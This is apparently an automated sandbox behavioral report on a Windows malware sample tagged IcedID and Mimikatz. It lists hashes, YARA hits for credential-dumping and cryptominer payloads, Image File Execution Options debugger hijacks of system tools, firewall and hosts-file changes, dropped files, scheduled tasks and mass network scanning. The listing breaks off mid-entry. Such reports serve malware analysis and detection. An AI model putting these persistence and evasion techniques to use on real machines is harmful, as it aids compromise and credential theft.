Analysis
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max time kernel
150s -
max time network
153s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
11-04-2024 06:44
Behavioral task
behavioral1
Sample
2024-04-11_70b2d62d7c3e0f6eaeb1db24720637b9_hacktools_icedid_mimikatz.exe
Resource
win7-20240221-en
General
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Target
2024-04-11_70b2d62d7c3e0f6eaeb1db24720637b9_hacktools_icedid_mimikatz.exe
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Size
8.6MB
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MD5
70b2d62d7c3e0f6eaeb1db24720637b9
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SHA1
3e3105a8dc60536b511edf5f7d93ee1bd73a5eb0
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SHA256
c43f1049e53282c7adeed911eefd446ab50b451d9c1c746c680c9bb75fb65a64
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SHA512
a584f98afb0e4dfe845fbbc8db65478656837bdbc71651d8b041af83c2f786fbbae7314d1e5c708c4d0b1b16dca23ea029079f65f87ccfb66f466a3f35319ddb
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SSDEEP
196608:ylTPemknGzwHdOgEPHd9BYX/nivPlTXTYP:a3jz0E52/iv1
Malware Config
Signatures
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Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
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Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
gkzutth.exedescription pid process target process PID 2764 created 332 2764 gkzutth.exe spoolsv.exe -
Contacts a large (24398) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Detects executables containing SQL queries to confidential data stores. Observed in infostealers 2 IoCs
Processes:
resource yara_rule behavioral1/memory/2012-135-0x000000013FA00000-0x000000013FAEE000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore behavioral1/memory/2012-136-0x000000013FA00000-0x000000013FAEE000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore -
UPX dump on OEP (original entry point) 31 IoCs
Processes:
resource yara_rule behavioral1/memory/2924-0-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX C:\Windows\isugpkis\gkzutth.exe UPX behavioral1/memory/2572-8-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX \Windows\tjbrgizie\Corporate\vfshost.exe UPX behavioral1/memory/2012-135-0x000000013FA00000-0x000000013FAEE000-memory.dmp UPX behavioral1/memory/1784-133-0x0000000000C00000-0x0000000000CEE000-memory.dmp UPX behavioral1/memory/2012-136-0x000000013FA00000-0x000000013FAEE000-memory.dmp UPX \Windows\Temp\tjbrgizie\flvstzhft.exe UPX behavioral1/memory/952-142-0x000000013F1B0000-0x000000013F20B000-memory.dmp UPX \Windows\Temp\riuvilefa\tusert.exe UPX behavioral1/memory/1636-158-0x000000013FAB0000-0x000000013FBD0000-memory.dmp UPX behavioral1/memory/952-169-0x000000013F1B0000-0x000000013F20B000-memory.dmp UPX behavioral1/memory/2108-179-0x000000013FE00000-0x000000013FE5B000-memory.dmp UPX behavioral1/memory/2108-181-0x000000013FE00000-0x000000013FE5B000-memory.dmp UPX behavioral1/memory/2944-188-0x000000013FFD0000-0x000000014002B000-memory.dmp UPX behavioral1/memory/2944-190-0x000000013FFD0000-0x000000014002B000-memory.dmp UPX behavioral1/memory/1636-192-0x000000013FAB0000-0x000000013FBD0000-memory.dmp UPX behavioral1/memory/2164-197-0x000000013F1C0000-0x000000013F21B000-memory.dmp UPX behavioral1/memory/2164-199-0x000000013F1C0000-0x000000013F21B000-memory.dmp UPX behavioral1/memory/1636-205-0x000000013FAB0000-0x000000013FBD0000-memory.dmp UPX behavioral1/memory/2868-208-0x000000013F350000-0x000000013F3AB000-memory.dmp UPX behavioral1/memory/2868-210-0x000000013F350000-0x000000013F3AB000-memory.dmp UPX behavioral1/memory/1636-212-0x000000013FAB0000-0x000000013FBD0000-memory.dmp UPX behavioral1/memory/1636-213-0x000000013FAB0000-0x000000013FBD0000-memory.dmp UPX behavioral1/memory/1636-219-0x000000013FAB0000-0x000000013FBD0000-memory.dmp UPX behavioral1/memory/1636-220-0x000000013FAB0000-0x000000013FBD0000-memory.dmp UPX behavioral1/memory/1636-235-0x000000013FAB0000-0x000000013FBD0000-memory.dmp UPX behavioral1/memory/1636-236-0x000000013FAB0000-0x000000013FBD0000-memory.dmp UPX behavioral1/memory/1636-237-0x000000013FAB0000-0x000000013FBD0000-memory.dmp UPX behavioral1/memory/1636-239-0x000000013FAB0000-0x000000013FBD0000-memory.dmp UPX behavioral1/memory/1636-243-0x000000013FAB0000-0x000000013FBD0000-memory.dmp UPX -
XMRig Miner payload 11 IoCs
Processes:
resource yara_rule behavioral1/memory/1636-192-0x000000013FAB0000-0x000000013FBD0000-memory.dmp xmrig behavioral1/memory/1636-205-0x000000013FAB0000-0x000000013FBD0000-memory.dmp xmrig behavioral1/memory/1636-212-0x000000013FAB0000-0x000000013FBD0000-memory.dmp xmrig behavioral1/memory/1636-213-0x000000013FAB0000-0x000000013FBD0000-memory.dmp xmrig behavioral1/memory/1636-219-0x000000013FAB0000-0x000000013FBD0000-memory.dmp xmrig behavioral1/memory/1636-220-0x000000013FAB0000-0x000000013FBD0000-memory.dmp xmrig behavioral1/memory/1636-235-0x000000013FAB0000-0x000000013FBD0000-memory.dmp xmrig behavioral1/memory/1636-236-0x000000013FAB0000-0x000000013FBD0000-memory.dmp xmrig behavioral1/memory/1636-237-0x000000013FAB0000-0x000000013FBD0000-memory.dmp xmrig behavioral1/memory/1636-239-0x000000013FAB0000-0x000000013FBD0000-memory.dmp xmrig behavioral1/memory/1636-243-0x000000013FAB0000-0x000000013FBD0000-memory.dmp xmrig -
mimikatz is an open source tool to dump credentials on Windows 7 IoCs
Processes:
resource yara_rule behavioral1/memory/2924-0-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz C:\Windows\isugpkis\gkzutth.exe mimikatz behavioral1/memory/2572-8-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral1/memory/2012-135-0x000000013FA00000-0x000000013FAEE000-memory.dmp mimikatz behavioral1/memory/1784-134-0x0000000000C00000-0x0000000000CEE000-memory.dmp mimikatz behavioral1/memory/2012-136-0x000000013FA00000-0x000000013FAEE000-memory.dmp mimikatz behavioral1/memory/2764-153-0x0000000002A00000-0x0000000002B20000-memory.dmp mimikatz -
Drops file in Drivers directory 3 IoCs
Processes:
wpcap.exegkzutth.exedescription ioc process File created C:\Windows\system32\drivers\npf.sys wpcap.exe File created C:\Windows\system32\drivers\etc\hosts gkzutth.exe File opened for modification C:\Windows\system32\drivers\etc\hosts gkzutth.exe -
Modifies Windows Firewall 2 TTPs 2 IoCs
Processes:
netsh.exenetsh.exepid process 2756 netsh.exe 564 netsh.exe -
Sets file execution options in registry 2 TTPs 40 IoCs
Processes:
gkzutth.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe gkzutth.exe -
Executes dropped EXE 16 IoCs
Processes:
gkzutth.exegkzutth.exewpcap.exeavpjtmhfs.exevfshost.exeflvstzhft.exexohudmc.exetusert.exeooaaya.exeflvstzhft.exeflvstzhft.exeflvstzhft.exeflvstzhft.exegkzutth.exeierfsbrfg.exegkzutth.exepid process 2572 gkzutth.exe 2764 gkzutth.exe 2148 wpcap.exe 1636 avpjtmhfs.exe 2012 vfshost.exe 952 flvstzhft.exe 1316 xohudmc.exe 1636 tusert.exe 1576 ooaaya.exe 2108 flvstzhft.exe 2944 flvstzhft.exe 2164 flvstzhft.exe 2868 flvstzhft.exe 1924 gkzutth.exe 2036 ierfsbrfg.exe 3212 gkzutth.exe -
Loads dropped DLL 22 IoCs
Processes:
cmd.execmd.exewpcap.execmd.exeavpjtmhfs.execmd.exegkzutth.execmd.exepid process 3012 cmd.exe 3012 cmd.exe 2948 cmd.exe 2148 wpcap.exe 2148 wpcap.exe 2148 wpcap.exe 2148 wpcap.exe 2148 wpcap.exe 2624 cmd.exe 1636 avpjtmhfs.exe 1636 avpjtmhfs.exe 1784 cmd.exe 1784 cmd.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2764 gkzutth.exe 2756 cmd.exe -
Processes:
resource yara_rule \Windows\tjbrgizie\Corporate\vfshost.exe upx behavioral1/memory/2012-135-0x000000013FA00000-0x000000013FAEE000-memory.dmp upx behavioral1/memory/2012-136-0x000000013FA00000-0x000000013FAEE000-memory.dmp upx \Windows\Temp\tjbrgizie\flvstzhft.exe upx behavioral1/memory/952-142-0x000000013F1B0000-0x000000013F20B000-memory.dmp upx \Windows\Temp\riuvilefa\tusert.exe upx behavioral1/memory/1636-158-0x000000013FAB0000-0x000000013FBD0000-memory.dmp upx behavioral1/memory/952-169-0x000000013F1B0000-0x000000013F20B000-memory.dmp upx behavioral1/memory/2108-179-0x000000013FE00000-0x000000013FE5B000-memory.dmp upx behavioral1/memory/2108-181-0x000000013FE00000-0x000000013FE5B000-memory.dmp upx behavioral1/memory/2944-188-0x000000013FFD0000-0x000000014002B000-memory.dmp upx behavioral1/memory/2944-190-0x000000013FFD0000-0x000000014002B000-memory.dmp upx behavioral1/memory/1636-192-0x000000013FAB0000-0x000000013FBD0000-memory.dmp upx behavioral1/memory/2164-197-0x000000013F1C0000-0x000000013F21B000-memory.dmp upx behavioral1/memory/2164-199-0x000000013F1C0000-0x000000013F21B000-memory.dmp upx behavioral1/memory/1636-205-0x000000013FAB0000-0x000000013FBD0000-memory.dmp upx behavioral1/memory/2868-208-0x000000013F350000-0x000000013F3AB000-memory.dmp upx behavioral1/memory/2868-210-0x000000013F350000-0x000000013F3AB000-memory.dmp upx behavioral1/memory/1636-212-0x000000013FAB0000-0x000000013FBD0000-memory.dmp upx behavioral1/memory/1636-213-0x000000013FAB0000-0x000000013FBD0000-memory.dmp upx behavioral1/memory/1636-219-0x000000013FAB0000-0x000000013FBD0000-memory.dmp upx behavioral1/memory/1636-220-0x000000013FAB0000-0x000000013FBD0000-memory.dmp upx behavioral1/memory/1636-235-0x000000013FAB0000-0x000000013FBD0000-memory.dmp upx behavioral1/memory/1636-236-0x000000013FAB0000-0x000000013FBD0000-memory.dmp upx behavioral1/memory/1636-237-0x000000013FAB0000-0x000000013FBD0000-memory.dmp upx behavioral1/memory/1636-239-0x000000013FAB0000-0x000000013FBD0000-memory.dmp upx behavioral1/memory/1636-243-0x000000013FAB0000-0x000000013FBD0000-memory.dmp upx -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 21 ifconfig.me 22 ifconfig.me -
Creates a Windows Service
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Drops file in System32 directory 12 IoCs
Processes:
wpcap.exegkzutth.exexohudmc.exedescription ioc process File created C:\Windows\system32\Packet.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 gkzutth.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7ADF8A57305EF056A6A6A947A1CF4C7A gkzutth.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat gkzutth.exe File created C:\Windows\SysWOW64\pthreadVC.dll wpcap.exe File created C:\Windows\SysWOW64\wpcap.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\ooaaya.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 gkzutth.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7ADF8A57305EF056A6A6A947A1CF4C7A gkzutth.exe File created C:\Windows\SysWOW64\Packet.dll wpcap.exe File created C:\Windows\system32\wpcap.dll wpcap.exe File created C:\Windows\SysWOW64\ooaaya.exe xohudmc.exe -
Drops file in Program Files directory 3 IoCs
Processes:
wpcap.exedescription ioc process File created C:\Program Files\WinPcap\LICENSE wpcap.exe File created C:\Program Files\WinPcap\uninstall.exe wpcap.exe File created C:\Program Files\WinPcap\rpcapd.exe wpcap.exe -
Drops file in Windows directory 60 IoCs
Processes:
gkzutth.execmd.exe2024-04-11_70b2d62d7c3e0f6eaeb1db24720637b9_hacktools_icedid_mimikatz.exeierfsbrfg.exedescription ioc process File created C:\Windows\tjbrgizie\UnattendGC\specials\svschost.exe gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\vimpcsvc.xml gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\schoedcl.xml gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\trch-1.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\spoolsrv.xml gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\zlib1.dll gkzutth.exe File opened for modification C:\Windows\tjbrgizie\ptescsiac\Packet.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\svschost.xml gkzutth.exe File created C:\Windows\tjbrgizie\Corporate\vfshost.exe gkzutth.exe File created C:\Windows\tjbrgizie\ptescsiac\ip.txt gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\exma-1.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\ssleay32.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\vimpcsvc.xml gkzutth.exe File created C:\Windows\isugpkis\spoolsrv.xml gkzutth.exe File created C:\Windows\ime\gkzutth.exe gkzutth.exe File opened for modification C:\Windows\tjbrgizie\Corporate\log.txt cmd.exe File created C:\Windows\tjbrgizie\ptescsiac\wpcap.exe gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\schoedcl.exe gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\coli-0.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\spoolsrv.xml gkzutth.exe File opened for modification C:\Windows\isugpkis\vimpcsvc.xml gkzutth.exe File created C:\Windows\tjbrgizie\Corporate\mimilib.dll gkzutth.exe File created C:\Windows\tjbrgizie\ptescsiac\Packet.dll gkzutth.exe File created C:\Windows\tjbrgizie\ptescsiac\ierfsbrfg.exe gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\crli-0.dll gkzutth.exe File opened for modification C:\Windows\isugpkis\docmicfg.xml gkzutth.exe File created C:\Windows\tjbrgizie\Corporate\mimidrv.sys gkzutth.exe File opened for modification C:\Windows\isugpkis\gkzutth.exe 2024-04-11_70b2d62d7c3e0f6eaeb1db24720637b9_hacktools_icedid_mimikatz.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\libxml2.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\posh-0.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\tibe-2.dll gkzutth.exe File created C:\Windows\isugpkis\svschost.xml gkzutth.exe File created C:\Windows\tjbrgizie\ptescsiac\wpcap.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\tucl-1.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\xdvl-0.dll gkzutth.exe File created C:\Windows\isugpkis\docmicfg.xml gkzutth.exe File created C:\Windows\isugpkis\schoedcl.xml gkzutth.exe File opened for modification C:\Windows\isugpkis\svschost.xml gkzutth.exe File created C:\Windows\tjbrgizie\ptescsiac\scan.bat gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\spoolsrv.exe gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\vimpcsvc.exe gkzutth.exe File created C:\Windows\isugpkis\vimpcsvc.xml gkzutth.exe File opened for modification C:\Windows\isugpkis\schoedcl.xml gkzutth.exe File created C:\Windows\tjbrgizie\ptescsiac\avpjtmhfs.exe gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\trfo-2.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\docmicfg.xml gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\schoedcl.xml gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\AppCapture64.dll gkzutth.exe File opened for modification C:\Windows\tjbrgizie\ptescsiac\Result.txt ierfsbrfg.exe File created C:\Windows\isugpkis\gkzutth.exe 2024-04-11_70b2d62d7c3e0f6eaeb1db24720637b9_hacktools_icedid_mimikatz.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\cnli-1.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\libeay32.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\docmicfg.exe gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\AppCapture32.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\svschost.xml gkzutth.exe File opened for modification C:\Windows\isugpkis\spoolsrv.xml gkzutth.exe File created C:\Windows\tjbrgizie\upbdrjv\swrpwe.exe gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\ucl.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\docmicfg.xml gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\Shellcode.ini gkzutth.exe -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exepid process 1480 sc.exe 2292 sc.exe 2376 sc.exe 608 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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NSIS installer 3 IoCs
Processes:
resource yara_rule C:\Windows\isugpkis\gkzutth.exe nsis_installer_2 C:\Windows\tjbrgizie\ptescsiac\wpcap.exe nsis_installer_1 C:\Windows\tjbrgizie\ptescsiac\wpcap.exe nsis_installer_2 -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exepid process 880 schtasks.exe 1756 schtasks.exe 2008 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
flvstzhft.exenetsh.exenetsh.exenetsh.exegkzutth.exenetsh.exenetsh.exenetsh.exenetsh.exeflvstzhft.exeflvstzhft.exenetsh.exenetsh.exenetsh.exeflvstzhft.exenetsh.exenetsh.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump flvstzhft.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs gkzutth.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates gkzutth.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{28B0F41C-6965-4D06-B141-586443F88A98}\WpadDecisionTime = 6092a0f6db8bda01 gkzutth.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates gkzutth.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f004c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 gkzutth.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{28B0F41C-6965-4D06-B141-586443F88A98}\WpadDecisionTime = 00b217c0db8bda01 gkzutth.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" flvstzhft.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" flvstzhft.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad gkzutth.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections gkzutth.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created 